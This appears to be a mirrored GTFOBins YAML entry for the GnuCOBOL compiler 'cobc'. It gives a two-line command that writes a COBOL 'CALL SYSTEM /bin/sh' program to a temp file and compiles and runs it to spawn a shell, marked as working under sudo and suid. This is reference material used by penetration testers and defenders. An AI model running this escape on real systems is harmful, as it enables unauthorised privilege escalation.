mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 14:36:23 +01:00
15 lines
329 B
Plaintext
15 lines
329 B
Plaintext
---
|
|
functions:
|
|
shell:
|
|
- code: |-
|
|
echo 'CALL "SYSTEM" USING "/bin/sh".' >/path/to/temp-file
|
|
cobc -xFj --frelax-syntax-checks /path/to/temp-file
|
|
comment: |-
|
|
The `/path/to/temp-file` sill be overwritten after the execution.
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
shell: true
|
|
unprivileged:
|
|
...
|